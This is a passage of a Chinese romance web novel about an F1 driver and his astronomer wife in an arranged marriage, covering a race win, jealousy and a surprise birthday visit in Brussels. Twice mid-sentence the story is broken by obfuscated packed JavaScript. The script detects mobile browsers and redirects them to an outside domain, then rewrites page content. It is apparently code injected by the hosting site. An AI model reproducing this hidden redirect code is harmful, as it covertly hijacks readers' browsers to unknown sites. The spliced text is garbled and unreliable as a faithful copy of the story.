“漂亮!”耳机里爆发出工程师的欢呼,“新系统在高速过弯时效率提升了12%!” 宋星燃勾起嘴角,但这还不够。他推动方向盘上的能量回收按钮,在接下来的直道上将车速提到极致。 350km/h的速度下,周围的景物已经模糊成色块,但他的大脑却异常清醒。每一个弯道角度,每一处路肩高度,甚至是风速的微小变化,都在他的计算之中。 两小时的训练结束后,宋星燃摘下头盔,黑发已经被汗水浸透。机械师们围上来检查赛车状况,他却第一时间摸出手机。 没有新消息。 温木大概还在和于茉兜风。 她一直都是个对朋友很好的人,他知道。 就像她会给那个实验室里的“yue”先生买早餐一样。 胸口泛起一丝酸涩的嫉妒。 “还没看够?” Alex的声音再次响起。 宋星燃抬头,对方竟然还在车库门口,姿势都没变过。 “你怎么还没走?” “好奇。”Alex走过来,递给他一瓶运动饮料。 宋星燃拧开瓶盖灌了一大口:“好奇什么?” “好奇你和你老婆。”Alex直截了当,“上次见你这么认真,还是决定加入车队的时候。” 宋星燃擦掉下巴上的水珠:“你想多了。” “给她撑撑场子而已。” “是吗?”Alex挑眉,“那辆布加迪Chiron,全球限量30台,你为了它专门飞去法国工厂盯配置。现在就这么送人了?” “她是我太太。”宋星燃强调,“送辆车怎么了?” Alex露出意味深长的笑容:“我只是没想到,要自由不要爱情的宋少爷也会有这么一天。” “闭嘴。” 宋星燃把空瓶子扔进垃圾桶,“我和她……” “不一样。” “怎么不一样?” 宋星燃沉默了一会儿。车库外,夕阳将赛道染成橘红色。 他想起温木在天文台专注观测时的侧脸,想起她被他逗得无可奈何却又纵容的眼神,想起她醉酒后靠在他怀里说“宋星燃,你心跳好快”时微醺的笑容。 “她不一样。” 最终他只是重复道,声音轻得几乎听不见。 Alex没有追问,转而说道:“不过我很奇怪,你老婆条件这么好,28岁居然没谈过恋爱?” 宋星燃皱眉:“一心学习呗,她心里就装着那几页文献和那几颗星星。” “连我都入不了她的眼。” 从小被人追捧的宋三少表示,他不服气。 “真的只是这样?”Alex的语气变得微妙,“你确定她没谈过恋爱?” “当然。”宋星燃斩钉截铁,“她亲口跟我说的。” Alex若有所思地点头:“那她……” “喜欢过别人吗?” 29. For the stars “她不一样。” 宋星燃又重复了一遍,这次声音大了些。 Alex靠在赛车旁,慢悠悠地拧开一瓶水:“所以你就这么确定她没喜欢过别人?” “我不知道。” 宋星燃扯下赛车手套扔进工具箱,金属碰撞声清脆刺耳。 “我不关心,更不在意。” “我们本来就是联姻,她过去有没有喜欢的人,喜欢过谁,都与我无关。” Alex笑了:“那你现在在生什么气?” “你瞎了。”宋星燃抓起毛巾擦了擦汗湿的头发。 “真的?” 男人用眼神剜了他一眼:“你很闲?” Alex晃了晃水瓶:“宋,你知道你有个习惯吗?每次说谎或者逃避问题的时候,你就会摸你左耳的耳钉。” 宋星燃的手僵在半空,他确实正摸着自己左耳的星星耳钉。这是他的幸运物,从18岁开始就没摘下来过。 “我只是在想训练的事。”他放下手,转移话题,“明天就要飞巴塞罗那了,新系统还需要调整。” Alex耸耸肩,不再追问:“随你怎么说。不过……” 他意味深长地看了宋星燃一眼,“有时候最明显的答案就摆在眼前,只是有人选择视而不见。” 宋星燃皱眉:“你到底想说什么?” “没什么没什么。” Alex转身走向门口,“对了,你妈妈刚才打电话来,问你生日打算怎么过。” “不过。”宋星燃干脆地回答,“又不是小孩子了。” Alex回头看他:“你老婆知道吗?” “知道什么?” “知道你生日,还有……”Alex指了指他左肋的位置,“你的伤其实还没完全好。” 宋星燃冷着脸:“别多嘴。” Alex举起双手做投降状:“拜托,我跟你老婆又不认识。我上哪多嘴去啊。” 他走到门口又停下,“对了,3天后的比赛会直播,记得告诉你老婆,按时收看哦。” 宋星燃没回答,只是低头整理工具。等Alex的脚步声完全消失,他才拿出手机,点开熟悉的对话框。 最后一条消息还是他发的那句“不准穿内衣”,已经过去六个小时了,她居然没回复。 他犹豫了一下,发了个问号过去。 依然没有回应。 * 午休时分的实验室格外安静,只有仪器运转的轻微嗡鸣。温木咬着全麦面包的三明治,手指在平板电脑上快速滑动。面包屑掉在白大褂上,她随手掸了掸。 “天啊,我看到了什么!”于茉推门而入,手里端着两杯咖啡,“温博士居然在工作时间看视频?” 温木的指尖顿了一下,若无其事地调整耳机音量:“午休时间。” 于茉把咖啡放在她手边,凑近一看,惊讶地挑起眉毛:“F1直播?你要改行研究流体力学了?” “随便看看。”温木抿了口咖啡,苦得皱了皱眉。 怎么回事,是口味被宋星燃养刁了吗? 于茉拉过转椅坐下,一脸促狭:“哦——是看某位宋姓车手吧?” 温木的耳尖微微发热。 她确实从来都没看过宋星燃的比赛,今天想起来还是因为沈岁特意打电话提醒她。 他伤愈复出的第一场比赛,温木知道,这很重要。 只是,宋星燃这几天,似乎心情不太好。 消息回得简短,有时干脆不回复。昨晚她发去的木星观测照片,到现在也没有回复。 是因为赛前压力太大了吗? 还是在生气,她忘记了给他加油呢? 温木默默调大了直播音量。 屏幕上是赛前采访环节。 宋星燃穿着银黑相间的赛车服,嘴角依旧挂着标志性的痞笑。 “宋,伤愈复出第一站,感觉如何?”记者将话筒递到他面前。 宋星燃单手插兜,另一只手随意地转着太阳镜:“好得不能再好。” 他对着镜头眨眨眼,“就像从没离开过一样。” “有压力吗?错过四站比赛后,你现在积分榜排名第九。” “压力?” 宋星燃嗤笑一声,将太阳镜架到头顶,露出那双标志性的桃花眼,眸子里是溢出的野心与自信,“那是给后面的人准备的。” 他转身走向赛车,回头丢下一句,“我回来就是为了拿冠军的。” 于茉吹了声口哨:“够狂的啊。” 温木的嘴角不自觉地上扬。 这就是宋星燃,永远自信张扬,像颗永不熄灭的星辰。 “你看得懂吗?”于茉好奇地问。 温木摇头:“只查了些基本规则。”她指着屏幕上赛车尾部的装置,“那个可活动的翼片是什么?” “DRS,可调式尾翼系统。”于茉兴奋地解释,“直道上可以打开减少空气阻力,你老公最擅长的就是利用DRS超车,粉丝都叫他''DRS之王''。” 比赛即将开始,镜头扫过看台。巴塞罗那赛道座无虚席,观众挥舞着各色旗帜,引擎的轰鸣声即使透过平板也能感受到震撼。温木不自觉地坐直了身体,三明治也丢在一边。 起跑线上,二十辆赛车如同蓄势待发的猛兽。宋星燃的5号赛车银黑相间,头盔上“SR”两个字母在阳光下闪闪发光。 男人修长的手指在方向盘上轻点,像是在弹奏某种乐器。镜头拉近特写,温木能看清他浓密的睫毛下那双专注的眼睛,和额角细密的汗珠。 五盏红灯依次亮起,然后同时熄灭。 震耳欲聋的引擎声中,赛车如离弦之箭般冲出起点。宋星燃的起步堪称完美,瞬间从第五位上升到第三。 “漂亮!”于茉拍桌而起,“这起步绝了!” 温木没说话,但握紧的拳头暴露了她的紧张。 屏幕上,宋星燃的赛车如同一道银色闪电,在弯道中划出完美的弧线。 “他现在用的是中性胎,”于茉解释道,“等会进站换软胎后速度会更快。” 温木点头,眼睛一刻不离屏幕。 宋星燃的驾驶风格极具侵略性,每个超车动作都干净利落。在第12号高速弯道,他的赛车几乎贴着护栏过去,距离之近让温木倒吸一口冷气。 “他经常这么冒险吗?”温木忍不住问。 于茉笑了:“这就是他的风格啊,不然怎么叫''星火''呢?去年摩纳哥站雨战,他可是贴着墙超的车,一战封神。” 比赛进行到第40圈,宋星燃已经上升到第二位,距离领先的Jackson只有0.8秒差距。 “他要动手了。”于茉兴奋地抓住温木的手臂,“看好了!” 果然,在大直道上,宋星燃打开了DRS,赛车如猛兽般扑向前车。两车并排入弯,轮胎几乎相碰,但宋星燃稳住了,以毫厘之差完成超越。 “啊啊啊!”于茉激动地抱住温木,“你看到了吗?太帅了!” 温木的心跳快得不像话,手心全是汗。屏幕上,宋星燃的赛车已经拉开差距,银黑相间的车身在阳光下熠熠生辉。 最后一圈,宋星燃以绝对优势冲过终点线。看台上爆发出震耳欲聋的欢呼,镜头切到车队P房,工程师们相拥庆祝。 但宋星燃的反应却出人意料。他摘下头盔,金发被汗水浸透,脸上却没有想象中的狂喜。他只是简单地挥了挥手,然后开始例行采访。 “恭喜回归即夺冠!”记者兴奋地问,“此刻最想说什么?” 宋星燃擦了擦额头的汗:“谢谢车队,谢谢所有支持我的人。” 他顿了顿,对着镜头露出一个温柔的笑,“还有,老婆,我赢了。” 温木的心猛地一跳。 “就这样?”记者显然期待更多情绪,“没有更激动的表达吗?这可是伤愈回归的第一冠!” 宋星燃耸耸肩:“冠军而已,又不是第一次拿。” 他转身离开,“累了,先走了。” 直播结束,温木还盯着黑下去的屏幕发呆。 “你老公今天怪怪的,”于茉摸着下巴,“赢了比赛怎么一点都不兴奋?” 温木若有所思:“可能是伤还没完全好。” 她想起宋星燃眼下那抹青色,心尖泛起一丝酸涩。 指尖悬在屏幕上方犹豫片刻,她打开和宋星燃的对话框,输入又删除好几次,最终只发了一句:【恭喜夺冠。】 回复来得很快,只有一个字:【嗯】 比平时还要简短。 温木皱眉,又发了一条:【伤还好吗?】 这次等了五分钟没有回复。她叹了口气,放下手机继续工作,却怎么也集中不了注意力。脑海中全是宋星燃冲线时那个疲惫的笑容,和那句轻描淡写的“老婆,我赢了”。 他为什么要那样说? 他知道她在看他的比赛吗? * “宋,你又上热搜了。” Alex滑动着手机,靠在健身房的门框上。 “你小子够浪漫的啊。夺冠后对着镜头说''老婆我赢了'',现在全网都在猜你老婆是谁。” 宋星燃正在做引体向上,汗水顺着下颌线滑落。 他连眼皮都没抬一下:“无聊。” “说真的,”Alex走进来,把手机屏幕转向他,“狗仔把你过去三年的绯闻对象都列出来了,居然一个都没猜中。” 他吹了声口哨,“你把你老婆保护得挺好啊。” 宋星燃松开单杠,抓起毛巾擦了擦汗:“你的公关是干饭的?” “什么?” “我都被污蔑成这样,不知道帮我澄清?” 万一给那女人看见,误会了怎么办。 Alex挑眉:“你们不会是隐婚吧?” “滚。” 宋星燃皱眉,语气骤然冷了下来。 “我有名分。我们领了证,见过双方家长,她的朋友同事都知道,我是她老公。” “是吗?”Alex明显不信,“那为什么连张合照都没有?” 宋星燃把毛巾甩在肩上:“她不喜欢被人议论。” 说完走向淋浴间,结束了这个话题。 Alex跟了上去:“对了,21号要不要去伦敦玩?就当庆祝生日。” “到时候再说。”宋星燃关上了淋浴间的门。 水声掩盖了Alex的笑声:“行,反正你老婆也不在,兄弟陪你过。” 男人站在花洒下,任由热水冲刷着身体。Alex的话像根刺,扎得他心烦。 他当然有名分。 结婚证上白纸黑字写着他的名字。 但除此之外呢? 温木从不在社交场合主动提起他,婚戒也只有在同学聚会那种特殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303642|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场合才戴。他们的关系,似乎只存在于星河湾那栋别墅里。 回到酒店房间,宋星燃坐在飘窗上发呆。布鲁塞尔的夜色很美,但他此刻只想看看宁川的星空。 温木现在在观测台吗?还是在看文献? 他拿出手机,点开置顶对话框。 他没有回复那条“伤还好吗”,他不想提起这个话题,尤其是在温木面前。 犹豫了一会儿,他发了个问号过去。 Jupiter:【?】 Lgnis:【在干嘛?】 Jupiter:【查资料。】 Lgnis:【哦】 对话陷入僵局。 宋星燃烦躁地抓了抓头发,又发了一条: Lgnis:【我后天去伦敦】 Jupiter:【哦。】 Jupiter:【有事吗?】 Lgnis:【没事,去玩】 Jupiter:【哦。】 Jupiter:【什么时候回布鲁塞尔?】 Lgnis:【不知道,可能当天回吧】 Jupiter:【哦。】 Jupiter:【玩的开心。】 永远都是这么冷淡。 不想多问,也不会多问。 宋星燃自嘲地扯了扯嘴角。 他应该高兴的。联姻对象不关注自己的生活,他完全可以像以前一样,四处野四处浪。 但他没有。 他好像,没有心思去野了。 Lgnis:【嗯】 男人把手机扔在床上,仰头靠在窗边。 五分钟后,手机震动一下。 他立刻抓起来看,结果是Alex发来的伦敦酒店预订信息。 随即拨通了Alex的电话:“去伦敦吧。” 电话那头传来Alex的笑声:“怎么,终于想通了?” “嗯。” “行,老婆不在,老板陪你。” 宋星燃皱眉:“我没有要她陪。” “得了吧,”Alex毫不留情地拆穿他,“你刚才那语气,跟被抛弃的小狗似的。” “滚。” 宋星燃挂断电话,又看了眼和温木的对话框。 她真的不记得了。 这个念头让他胸口发闷。他告诉自己不该在意。本来就是协议婚姻,各取所需。 温木从没承诺过什么,他也不该期待什么。 可是,那个密码锁呢?要怎么解释? 真的只是巧合吗? 他从前一直以为那是温木别扭的浪漫,她关注他,所以才会记得他的生日。 现在想来,可能真的只是随手一输。 男人走到衣柜前,从暗格里取出一个小盒子。里面是一对袖扣,蓝宝石镶嵌在铂金底座上,像极了她的眼睛。 他原本打算生日那天送给她的,现在看来…… 宋星燃合上盒子,随手扔进行李箱。 他不需要她的礼物,不需要她的祝福。 反正从一开始,这就是一场交易。 * 宋家老宅的餐厅里,水晶吊灯洒下温暖的光。 温木夹起一块清蒸鲈鱼,鱼肉鲜嫩,入口即化。 “小木,最近研究还顺利吗?”沈岁给她盛了碗菌菇汤,语气温柔。 “挺好的,新论文刚投出去。”温木接过汤碗,指尖碰到沈岁的手,触感温暖干燥。 “别太累着自己。”沈岁打量着她,“看你最近都瘦了。” 温木低头喝汤,热气氤氲中看不清表情:“实验室忙,没注意。” 沈岁又给她夹了块糖醋排骨:“尝尝这个,阿姨新学的做法。” “谢谢妈。”温木咬了一口,酸甜适中,肉质酥烂。 宋星燃也喜欢这道菜,他是小孩口味,就喜欢酸酸甜甜的,每次都能就着排骨吃下两碗饭。 “那个,阿木啊,”沈岁放下筷子,状似随意地问,“你后天有空吗?” 温木抬头:“怎么了?” “后天是阿燃生日啊。”沈岁笑着说,“你们小两口也有一个月没见了,要是有空的话,去欧洲走一趟?正好放松放松,天天闷在实验室里,人都要憋坏了。” 温木的筷子停在半空。 她缓缓放下餐具,抽了张纸巾擦了擦嘴角:“后天学校里有个研讨会,我主讲。” 她顿了顿,“没时间去。” 沈岁的笑容僵了一瞬,很快又恢复如常:“这样啊,没关系,工作要紧。” 她给温木添了杯茶,“妈理解,阿燃也理解。” “谢谢妈。”温木的声音很轻,像一片羽毛落在水面上,激不起半点涟漪。 餐厅一时安静下来,只有餐具碰撞的清脆声响。 温木吃得不多,很快就放下了筷子:“我吃饱了,妈您慢用。” “这么早?再吃点水果吧?” “不了,还有些资料要整理。”温木起身,“您早点休息。” 温木上楼的脚步很轻。宋家老宅的楼梯铺着厚实的地毯,踩上去悄无声息。 走廊尽头是宋星燃的房间,推开门,月光已经透过落地窗洒了满地。 她没开灯,径直走到床边坐下。 手机屏幕亮起,显示有一条未读消息。 【温小姐,后天见。】 30. For the stars 清晨咖啡馆的落地窗前,温木安静地坐着。阳光透过玻璃洒在她面前的咖啡杯上,形成一圈金色的光晕。 她看了眼腕表,14:05,距离约定时间已经过去了五分钟。 “温小姐吗?” 一个温软的声音从头顶传来。 温木抬头,看见一个穿着浅蓝色连衣裙的年轻女孩站在桌前。 女孩约莫二十来岁,栗色长发扎成低马尾,圆圆的杏眼下有一颗小小的泪痣,整个人透着股乖巧的书卷气。她手里拎着一个黑色皮质盒子,边缘镶着银边。 “甘小姐?”温木站起身,“请坐。” 甘棠在对面坐下,将盒子小心地放在桌上:“抱歉,比约定时间晚了两天。” “没关系。”温木招手示意服务员,转向甘棠,“喝点什么?” “美式就好,谢谢。”甘棠的声音很轻。 温木向服务员点了单,目光落在那只黑色盒子上。 甘棠会意,将盒子推向她:“您先看看。” 盒子被轻轻打开,黑色天鹅绒衬里上,是一件银灰色的机车夹克。 不同于市面上常见的款式,这件夹克的背部绣着一幅精致的星图,木星及其卫星的轨道图,用银线勾勒,在光线下若隐若现。皮质柔软却坚韧,剪裁利落,每一处走线都精准得不可思议。 “内衬用了NASA宇航服同款散热材料,”甘棠轻声解释,“肩膀和肘部增加了碳纤维防护层,既美观又实用。” 温木的指尖轻轻抚过夹克上的星图:“辛苦了,我很喜欢。” “您客气。”甘棠接过服务员送来的咖啡,抿了一小口,“其实,我很好奇,您为什么会找我定制?这种专业夹克一般都要找专门的厂家。” 温木端起咖啡杯:“半个月前,我在微博上看到你设计的星空系列。” 她顿了顿,“细节处理很特别。” 甘棠的眼睛亮了起来:“您记得那系列?那是我第一次尝试将天文元素融入服装设计!” 她随即不好意思地压低声音,“抱歉,我太激动了。” “没关系。”温木的嘴角微微上扬,“我先生看到这个图案,会明白的。” “是礼物吗?” “对。生日礼物。” 甘棠好奇地问:“什么时候啊?” 温木微笑:“就是今天。” “祝您先生生日快乐。”甘棠真诚地说,“他一定会喜欢的。” “谢谢。” 两人又聊了些设计细节,温木了解到甘棠还在宁大艺术系读书,现在在一家小型设计工作室实习。 这件夹克是她熬了三个通宵完成的,连纽扣都是特别定制的行星形状。 “时间不早了,”温木看了眼手表,“我还有个研讨会。” 甘棠连忙起身:“耽误您时间了。” 温木将盒子小心地放进包里,结账后与甘棠一同走出咖啡馆。 夏日的风带着花香,温木转身道别:“谢谢你的设计。” “应该的。”甘棠笑着挥手,“希望有机会再合作。” 温木点头致意,转身走向宁大的方向。她没注意到,在她身后不远处,一辆黑色宾利缓缓停在甘棠面前。 车窗降下,露出一张棱角分明的俊脸。男人眉目如刀削般锋利,西装领带一丝不苟,浑身散发着压迫感。 “你怎么来了。”甘棠转过头去不看他。 靳召南的目光从温木远去的背影回到面前娇小的女人身上,淡淡开口:“玩够了就回家。” 甘棠犹豫了一下,还是拉开车门坐了进去。 宾利无声地驶离,与温木背道而驰。 温木走在林荫道上,心情莫名的雀跃。 她想起那天在清慕山,宋星燃穿皮衣的样子,肩膀的线条,腰身的弧度,还有那股张扬不羁的气质。 他穿上的话,肯定会很好看的。 手机突然震动,打断了她的思绪。 是于茉发来的消息:【研讨会材料准备好了吗?】 温木回复:【在路上,十分钟到。】 * 伦敦的雨来得突然,宋星燃站在哈罗德百货的屋檐下,看着雨滴砸在石板路上,溅起细小的水花。 Alex在一旁喋喋不休地讨论着晚上要去哪家酒吧,声音混着雨声,听不真切。 “宋,你到底有没有在听?”Alex用胳膊肘捅了捅他。 宋星燃回过神,掏出手机看了眼时间。上午11:20,宁川应该是晚上七点多。 他锁屏,又解锁,反复三次,对话框依然停留在昨天那条“玩的开心”。 “在听。”他敷衍道,把手机塞回口袋,“你安排就行。” Alex挑眉:“生日就这么敷衍?” “那要怎样?给我供起来吗?” “你老婆真不来?” “她忙。”宋星燃语气平淡,仿佛在讨论天气,“研讨会。” “哦~”Alex拉长音调,“不愧是学霸啊。” 宋星燃没回答,迈步走进雨中。雨水很快打湿了他的黑色T恤,贴在身上,勾勒出精壮的背部线条。 Alex小跑跟上,递过一把黑伞。 “别淋病了,后天还有训练。” 宋星燃接过伞,随手转了一圈,水珠四溅:“死不了。” 他们沿着摄政街闲逛,路过一家古董表店时,宋星燃驻足看了会儿橱窗里的一块怀表。表盖内侧刻着星座图案,让他想起温木书桌上那台古董天文仪。 “买给你老婆?”Alex凑过来问。 宋星燃摇头:“走吧。” 上午的行程乏善可陈。车队一行人去了大英博物馆,宋星燃心不在焉地站在罗塞塔石碑前拍了张照,发给温木,配文:【像不像你那些天书论文?】 没有回复。 估计在开会。 温木工作的时候很少看手机,他知道。 午饭选在一家米其林餐厅,主厨特意出来打招呼,说自己是粉丝。 宋星燃勉强扯出个笑容,切牛排时力道大得像是要把盘子也切开。 “轻点,”Alex小声提醒,“盘子要碎了。” “到时候还要赔人家。” “你很缺钱?” 宋星燃放下刀叉,拿起手机。 家族群里消息不断,沈岁发了一连串生日祝福和红包,宋应濯和宋铭栎也发了语音。 他点开第一条,手机里传出低沉严肃的男声:“生日快乐,注意身体,别总让妈担心。” 真的是,连祝福都像在播报新闻。 备注“大师兄”的头像闪了闪,又发来一条:【礼物寄去布鲁塞尔了。】 宋铭栎的语音则活泼得多:“弟弟生日快乐!我给你买了限量版乐高,拼好了发照片啊!哦对了,替我向弟妹问好~” 问你大爷问好!那么关心他老婆干什么! 哦不对,他大爷还在。 宋星燃扯了扯嘴角,回复:【谢谢二哥】 放下手机,Alex正盯着他看。 “干嘛?” “你给你哥备注''大师兄''''二师兄''?”Alex憋着笑,“那你是什么?沙师弟?” 宋星燃白了他一眼:“闭嘴吃饭。” 下午三点,他们去了Soho区的一家酒吧。 昏暗的灯光下,宋星燃坐在角落,面前摆着一杯威士忌,冰块在琥珀色的液体中缓缓旋转。 Alex举杯:“来,敬我们寿星一杯!” 车队众人哄笑着碰杯,宋星燃敷衍地抿了一口。酒精滑过喉咙,灼烧感让他稍微清醒了些。 “接下来什么安排?”Alex问车队经理,“西班牙站前还有测试吧?” 经理点头:“下周直接飞蒙特卡洛。” Alex转向宋星燃:“你肋骨没问题了?蒙特卡洛赛道可不好跑。” 宋星燃晃着酒杯:“死不了。” “你就不能换个词?”Alex无奈,“说真的,你现在积分榜第七,如果西班牙站和摩纳哥站表现好,进前五没问题。” 宋星燃心不在焉地点头。 目光落在酒吧墙上的时钟上,自从来了欧洲,他开始特别关注时间。 15:30,宁川应该快午夜了。 她睡了吗?还是又在观测台熬夜? “喂!”Alex在他面前打了个响指,“你到底有没有在听?” 宋星燃皱眉:“听着呢。” “那我说什么了?” “西班牙站,摩纳哥站,积分榜。”宋星燃不耐烦地列举,“还有问题?” Alex叹气:“你老婆真不来?” “你怎么又问?” “再说,她来不来有什么区别?”宋星燃声音冷了下来,“一个人过生日更好,清净。” 他才不想看见那个女人呢,一天到晚穿得灰不拉几的,不是看书就看电脑,看着没劲。 他都能想象到她来的场景。肯定是看在沈岁的面子上,来了在酒店坐着搞研究,根本不会分给他一个眼神。住一天就走,然后完成任务,得到沈岁的夸赞和“恩爱夫妻”的名声。 Alex欲言又止,最终只是摇摇头:“行吧,你开心就好。” 就在这时,一个金发女郎端着酒杯走过来,红唇微启:“嘿,你是宋,那个F1选手,对吧?我看过你的比赛。” 宋星燃头都没抬,也没理。 女郎不依不饶地靠近: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308682|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一个人?” 宋星燃往旁边挪了挪,拉开距离。 女郎瞥了眼Alex,意有所指:“你朋友很帅,但我更喜欢你这种类型。” Alex憋着笑举起双手:“别误会,我们只是上下级。” 宋星燃终于抬头,眼神冷得像冰。 “我结婚了。” 女郎愣了一下,随即笑道:“那又怎样?你老婆又不在。” 宋星燃站起身,居高临下地看着她。 “滚。” 女郎脸色变了变,讪讪离开。 Alex吹了声口哨:“哇哦,够狠的。” 宋星燃重新坐下,灌了一大口酒:“这难道不是应该的吗?对另一半的忠诚。” Alex若有所思地看着他:“你真的很爱你老婆,不是吗?” 宋星燃不可置信地看向他。 “Alex,你真的疯了。” 他刚想继续骂,手机突然震动起来。 屏幕上显示着“靳”。 他皱眉接听,语气不善:“有事快说。” 靳召南的声音通过电波传来,一如既往:“生日快乐。” 宋星燃挑眉:“就这?专门打电话说这个?别恶心我。” 沉默片刻,靳召南选择直奔主题:“我今天看见你老婆了。她和一个设计师见面,取了件定制皮衣。” 男人把玩打火机的动作顿住:“所以?” “那件皮衣很早就定下了。”靳召南顿了顿,“她特意提了设计要求。” 宋星燃握紧手机:“你该不会是想说,那是给我的吧?” 电话那头沉默了几秒:“这我就不知道了。甘棠不肯说。” “甘棠?”宋星燃眯起眼睛,“你那个小尾巴?” “别这么说。” 宋星燃冷笑:“我谢谢你告诉我啊。现在我要担心我老婆有没有出轨的前兆了。” “应该不至于吧,她不是那样的人。” 宋星燃:“你好像很了解我老婆?” 靳召南沉默片刻:“有病。” “我就是有病。”宋星燃自嘲道,又灌了口酒。 靳召南:“挂了。我就不该多嘴。” “谢了。你知道就好。”宋星燃挂断电话,把手机重重拍在桌上。 Alex好奇地问:“怎么了?” “没事。”宋星燃站起身,“我回布鲁塞尔。” “现在?”Alex惊讶道,“才五点!晚上还有派对呢!你个寿星走了算怎么回事啊?” 宋星燃已经拿起外套:“你们玩吧。” 一小时后,他独自坐在飞往布鲁塞尔的航班上,望着舷窗外的云层发呆。 空姐送来香槟,说是庆祝他生日,他道了谢,却一口没动。 靳召南的话在他脑海中盘旋。 那件皮衣,会是给他的吗? 如果不是给他的,又是给谁的? 是谁,能让温木抽出时间去预定一件衣服,花心思去亲自设计样式。 到底是谁! 灼烧感从血液深处爬出来,沉甸甸地坠着,又烫得人发颤。 飞机降落时,布鲁塞尔正下着小雨。 宋星燃叫了辆车直奔酒店,一路上雨刷器规律的声响让他昏昏欲睡。 电梯缓缓上升,宋星燃靠在镜面上,看着数字一个个跳动。 23:55,距离他的生日结束,还剩最后五分钟。 一个事实摆在他面前。 温木是真的忘了他的生日。 明明他都让沈岁都提醒她了,可是到现在,一条消息,一个电话,都没有来过。 她眼里只有那些该死的星星和论文,从来就没有他。 “叮”的一声,电梯门开了。 宋星燃拖着疲惫的步伐走向自己的房间,却在拐角处猛地停住。 他的房门前蹲着一个人。 穿着单薄的米色外套,黑发凌乱地散在肩头,脑袋枕在胳膊上,似乎睡着了。脚边放着一个精致的盒子。 外套上是大片大片的水痕,而盒子上,干干净净。 宋星燃的心脏几乎停跳。 他慢慢走近,脚步声惊醒了蹲着的人。 温木抬起头,睡眼惺忪地眨了眨眼睛,在看清来人后猛地站起来,却因为腿麻而踉跄了一下,整个人向前扑去。 男人下意识张开双臂,温木结结实实地摔进他怀里。 她身上带着雨水的凉意和淡淡的茉莉香,发丝扫过他的下巴,痒痒的,心也是。 月光透过走廊的玻璃窗落在男人腕间的表盘上,时针与分针在罗马数字XII处即将重合。 温木仰起脸,唇角轻扬。 “生日快乐。” 31. For the stars 宋星燃的呼吸凝滞在胸腔里。 温木仰着脸,睫毛在走廊灯光下投下细碎的阴影,那双总是冷静自持的眼睛此刻蒙着一层雾气。她的唇微微分开,呼出的气息带着淡淡的薄荷糖味道,拂过他的下巴。 “生日快乐。” 她又说了一遍,声音轻得像羽毛落地。 宋星燃的手臂还环着她的腰,隔着薄薄的外套能感受到她身体的曲线。他喉结滚动,突然弯腰,一手穿过她的膝窝,直接将人打横抱了起来。 “啊!”温木短促地惊叫一声,下意识搂住男人的脖子。 宋星燃没说话,捞起盒子,抱着她大步走向房门。 这才多少天没见她,又轻了,像抱着一团柔软的云。 他用房卡刷开门,屋内感应灯自动亮起,照亮了整个房间。 落地窗外,布鲁塞尔的夜景如同一幅闪烁的画卷,远处的原子球在夜色中泛着蓝光。 男人径直走向沙发,却没有放下怀里的人,而是自己先坐下,让她侧坐在自己腿上。 这个姿势让温木比他高出小半个头,不得不低头看他。 “眼镜。” 温木愣了一下,下意识推了推鼻梁上的金丝眼镜:“怎么了?” 她今天还特地戴了他送的那副,下午开会的时候,同事们都夸好看来着。 “摘了。” 她犹豫片刻,抬手要摘,却被宋星燃抢先一步。手指擦过她的耳廓,取下眼镜的动作轻柔至极。 没了镜片的阻隔,清冷的眸子在灯光下呈现出一种透明的蓝灰色,像是雨后的天空,用湿润的温柔将人包裹。 男人将眼镜放在茶几上,目光重新落回她脸上,一寸寸描摹她的五官。 微微上挑的眼尾,小巧挺直的鼻梁,还有那张总是说着冷静理智话语的嘴巴。 温木感受到他灼热的目光,终于转过头来。 四目相对的瞬间,两人都移开了视线。 是温木先抬起头,语气淡淡:“Surprise.” 宋星燃盯着她看了足足十秒,才哑声问:“为什么来?” “你生日。”温木轻声回答,手指卷着一缕湿发。 “还有呢?” 温木的手指停下,假装思考:“国际茶日?” 宋星燃眯起眼睛:“温木。” “好吧。”温木投降似的举起手,”是我们结婚三个月的纪念日。” 男人的表情松动了一些:“你居然记得。” “我记得很多事。” 温木轻声说,指尖在他坚实的肩膀上轻轻滑过。 “比如你讨厌吃胡萝卜,喜欢下雨天睡觉,训练后总要喝冰可乐……” “所以?” 宋星燃的语气漫不经心,搂着她的臂膀却不受控制地收紧。 温木抬眼看他,眼睛里闪烁着复杂的光芒:“所以我想,也许我们应该一起过。” “就因为这个?“他逼近她,“温老师什么时候这么注重仪式感了?” 温木没有躲闪,反而微微仰头,让两人的呼吸交融:“那你呢?” “宋少爷为什么要在夺冠采访时叫我老婆?” 男人愣住。 他以为她不会看自己的比赛,可事实上,她看了那场比赛,听到了那句话。 “随口一说。”他移开视线,声音发紧,”媒体喜欢听这个。” 温木轻笑一声,手指抚上他的下巴,将他脸转回来。 “撒谎。” 他抓住她作乱的手,低低地问:“为什么今天特别重要?” 温木看着他,眼神清澈见底:“因为我想看看,没有宋家光环,没有联姻压力,纯粹作为宋星燃的你,过生日是什么样子。” 男人的呼吸骤然加快,目光落在她微启的唇瓣上:“为什么给我准备礼物?” 温木轻轻揉着他的耳垂,那里烫得几乎要烧起来。 “你怎么知道,那是给你的?” 宋星燃扭过头去:“有人告诉我了。” “而且,就算不是给我准备的,你把它放到我的领地里,那就是我的了。” “我不会把它让给任何人。” 温木唇角微勾:“是给你的,没有别人。” 